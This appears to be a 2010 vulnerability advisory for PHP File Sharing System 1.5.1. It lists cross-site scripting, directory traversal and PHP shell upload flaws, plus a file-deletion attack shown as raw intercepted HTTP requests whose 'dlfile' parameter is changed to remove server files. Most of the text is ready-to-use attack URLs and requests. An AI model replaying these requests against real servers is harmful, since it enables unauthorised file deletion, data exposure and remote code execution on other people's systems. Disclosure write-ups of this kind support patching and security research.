PHP File Sharing System 1.5.1 Directory Traversal / XSS / Shell Upload

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Title: PHP File Sharing System 1.5.1 Multiple Vulnerabilities  
Date: March 8, 2010  
Author: blake  
Download: http://sourceforge.net/projects/phpfilesadmin/  
Version: 1.5.1  
Tested on: Windows XP SP3 with xampplite  
  
  
1) XSS  
http://192.168.1.149/fss/index.php?cam=  
  
2) Directory transversal  
http://192.168.1.149/fss/index.php?cam=/../../../../../../../..  
  
3) Shell through file upload  
can upload php shell, click on file, and get shell  
  
4) can intercept requests using proxy and delete system files  
  
intercept request in webscarab  
  
GET http://192.168.1.149:80/fss/delfile.php?cam=&dlfile=./uploads/reverse_shell_windows.php HTTP/1.1  
Host: 192.168.1.149  
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip,deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Keep-Alive: 300  
Proxy-Connection: keep-alive  
Referer: http://192.168.1.149/fss/index.php?cam=  
  
and modify  
  
GET http://192.168.1.149:80/fss/delfile.php?cam=&dlfile=log.txt HTTP/1.1  
Host: 192.168.1.149  
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip,deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Keep-Alive: 300  
Proxy-Connection: keep-alive  
Referer: http://192.168.1.149/fss/index.php?cam=  
  
  
  
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